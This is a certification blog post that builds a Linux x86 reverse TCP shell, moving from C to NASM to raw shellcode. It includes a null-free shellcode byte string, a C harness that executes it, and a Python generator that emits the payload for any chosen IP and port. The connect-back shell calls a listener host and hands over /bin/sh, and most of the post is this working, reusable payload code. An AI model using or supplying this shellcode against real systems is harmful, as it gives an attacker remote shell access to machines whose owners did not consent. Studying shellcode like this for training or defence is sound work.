This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Create a shell_reverse_tcp shellcode that connects to an IP:Port and execute a shell. The IP and port number should be easy to configure.
Prestudy
The idea is to first compile a reverse shell written in C and then use strace to see which calls it makes. Once that’s done we’ll recreate it in nasm.
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
// Declare variables
int sockfd;
struct sockaddr_in serv_addr;
// Create our socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// IPv4
serv_addr.sin_family = AF_INET;
// Declare dest IP
serv_addr.sin_addr.s_addr = inet_addr("192.168.0.106");
// Declare dest Port
serv_addr.sin_port = htons(4444);
// Connect to our target IP
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
// Duplicate the file descriptors
// stdin = 0, stdout = 1, stderr = 2
int i;
for (i=0; i <= 2; i++){
dup2(sockfd, i);
}
// Spawn the shell
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
Time to compile and run strace. Note that the e argument has been provided. This is to limit the otherwise quite expansive output.
$ gcc reverse.c -o rev
$
$ strace -e socket,connect,dup2,execve ./rev
execve("./rev", ["./rev"], [/* 21 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.0.106")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
$
$
Pretty cool. This is what we now must re-create in nasm.
Nasm
In /usr/include/i386-linux-gnu/asm/unistd_32.h we dig up the needed syscalls.
egrep "execve|dup2|socketcall" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
Note that these numbers might need to be converted to hex
Let’s start by looking at the man page for socketcall.
Syntax: int socketcall(int call, unsigned long *args);
Now let’s find out which call we need to make. In /usr/include/linux/net.h we find the following:
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
Socket = 1
Connect = 3
Assembly
Let’s type this out.
; Filename: reverse.nasm
; Author: Alex
; SLAE-ID: SLAE-1046
; Website: http://0xdeadcode.se
;
; Purpose: Assignment 2 - SLAE Exam
; Reverse Shell
global _start
section .text
_start:
; int socketcall(int call, unsigned long *args) from man page
; int sock = socket(AF_INET, SOCK_STREAM, 0) from bind shell code
; SOCK_STREAM is represented by 1
; AF_INET is represented by 2
; push args on stack (in reverse order)
; put selected call (socket = 1) in ebx
; put syscall hex(nr) in eax
xor eax, eax
xor ebx, ebx
; xor edi, edi ; MIGHT FIX THIS LATER
push eax ; push 0 to stack
inc eax
push eax ; push 1 to stack (SOCK_STREAM)
inc eax
push eax ; push 2 to stack (AF_INET)
mov al, 0x66 ; socketcall (102 dec is 0x66)
mov bl, 0x1 ; socket()
mov ecx, esp ; pointer to the arguments we pushed
int 0x80 ; syscall
mov edx, eax ; save return value (sockfd)
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;struct sockaddr_in {
; __kernel_sa_family_t sin_family; /* Address family */
; __be16 sin_port; /* Port number */
; struct in_addr sin_addr; /* Internet address */
;};
; Issue with NULL in IP:
; 0x6A00A8C0 is 192.168.0.106 in reverse
; this is not good. our dest IP contain a null
; we'll fix this with xor
; 0x95ff573f is result of:
; mov edi, 0xFFFFFFFF
; xor edi, 0x6A00A8C0
; this mean we can use the xor:ed value and xor it again to get our IP with the null
mov edi, 0xFFFFFFFF
xor edi, 0x95ff573f
push edi
push word 0x5c11 ; push port number 4444 in reverse
inc ebx ; ebx is increased with 1 from 0x1
push word bx ; AF_INET = 2
mov ecx, esp ; pointer to sockaddr struct
push 0x10 ; length of the sockaddr struct (decimal 16)
push ecx ; push pointer to sockaddr
push edx ; push pointer to sockfd
mov ecx, esp ; pointer to sockaddr_in struct
mov al, 0x66 ; socketcall (102 dec is 0x66)
inc ebx ; connect (0x3)
int 0x80 ; syscall
; point stdin, stdout and stderr to our new socket
; from linux man pages: int dup2(int oldfd, int newfd)
; edx is the socket we created at start
xor ecx, ecx
mov cl, 0x2 ; initiate our counter (0x2)
mov ebx, edx ; move socket into ebx (sockfd)
loc_loop:
mov al, 0x3f ; dup2 req. eax being 0x3f
int 0x80 ; syscall
dec ecx ; decrease ecx (socket newfd)
jns loc_loop ; jump if loop ain't done (ecx != 0)
; execve /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", argv, NULL);
; eax should contain 0xb
xor edi, edi
push edi ; register is 0x0 at this time. push null on stack
mov al, 0xb ; sys_execve (decimal 11)
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; save pointer to /bin/sh
push edi ; register is 0x0 at this time. push null on stack
mov edx, esp ; move pointer to null into edx
push ebx ; push pointer to /bin/sh onto stack
mov ecx, esp ; move stack pointer to ecx
int 0x80 ; syscall
Assemble and link it, then test it. It work just fine so let’s check (just in case) if our code contains any null bytes, it shouldn’t but who knows.
Looks good!
Shellcode
Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program and execute it.
objdump -D ./reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc2\xbf\xff"
"\xff\xff\xff\x81\xf7\x3f\x57\xff\x95\x57\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x52\x89\xe1\xb0\x66\x43\xcd\x80\x31\xc9\xb1\x02\x89\xd3\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x31\xff\x57\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x57\x89\xe2"
"\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile and execute!
gcc -fno-stack-protector -z execstack -m32 shellcode.c -o rev_shell_4444
Let’s execute it!
Executing the shell
Catching the shell with nc
Beautiful!
Making stuff easy
The current shellcode contains instructions that are unnecessary if the IP doesn’t contain a null byte. Let’s keep this in mind when we create the python wrapper that will generate the shellcode. Perhaps it is possible to add instructions to avoid the nulls in the code. The idea is to XOR the IP with 0xFFFFFFFF and put the XOR:ed value into the shellcode, and then during run-time XOR it again to regain the original value. Nifty! When there’s no null bytes in the IP we should of course skip the code that will XOR with 0xFFFFFFFF.
#!/usr/bin/env python2
from sys import argv
ip = argv[1]
port = int(argv[2])
hexport = hex(int(port)).replace('0x', '')
if len(hexport) < 4:
hexport = '0' + hexport
hexport = '\\x%s\\x%s' % (hexport[0:2], hexport[2:])
arr = ip.split('.')
nullbyte = False
for i in xrange(0, len(arr)):
arr[i] = int(arr[i])
if arr[i] == 0:
nullbyte = True
if nullbyte:
for i in xrange(0, len(arr)):
arr[i] = arr[i]^0xFF
for i in xrange(0, len(arr)):
t ='\\x'
t += '%02x' % int(arr[i])
arr[i] = t
arr = ''.join(arr)
sc = "\\x31\\xc0\\x31\\xdb\\x50\\x40\\x50\\x40\\x50\\xb0\\x66\\xb3\\x01\\x89\\xe1\\xcd\\x80\\x89\\xc2"
if nullbyte:
# mov edi, 0xFFFFFFFF
sc += "\\xbf\\xff\\xff\\xff\\xff"
# xor edi, 0x95FF573F
sc += "\\x81\\xf7" + arr
else:
sc += "\\xbf" + arr
# push edi, pushw
sc += "\\x57\\x66\\x68"
# port nr
sc += hexport
#"\x11\x5c"
sc += "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x52\\x89\\xe1\\xb0\\x66\\x43\\xcd\\x80\\x31\\xc9"
sc += "\\xb1\\x02\\x89\\xd3\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xff\\x57\\xb0\\x0b\\x68\\x2f"
sc += "\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x57\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80"
print 'IP: %s' % ip
print 'IPHex: %s' % arr
print 'Port: %d' % port
print 'Hexport: %s\nShellcode:\n' % hexport
print sc
And let’s try it out!
Note the difference in length, really sweet.
Github Links
Reverse Shell in C
Nasm Reverse Shell
Python IP:Port Code
Shellcode.c
well done Brother …
That’s a good read, nice going!
Looking forward to your next article.
What an awesome post!
Great work man.
Keep at it!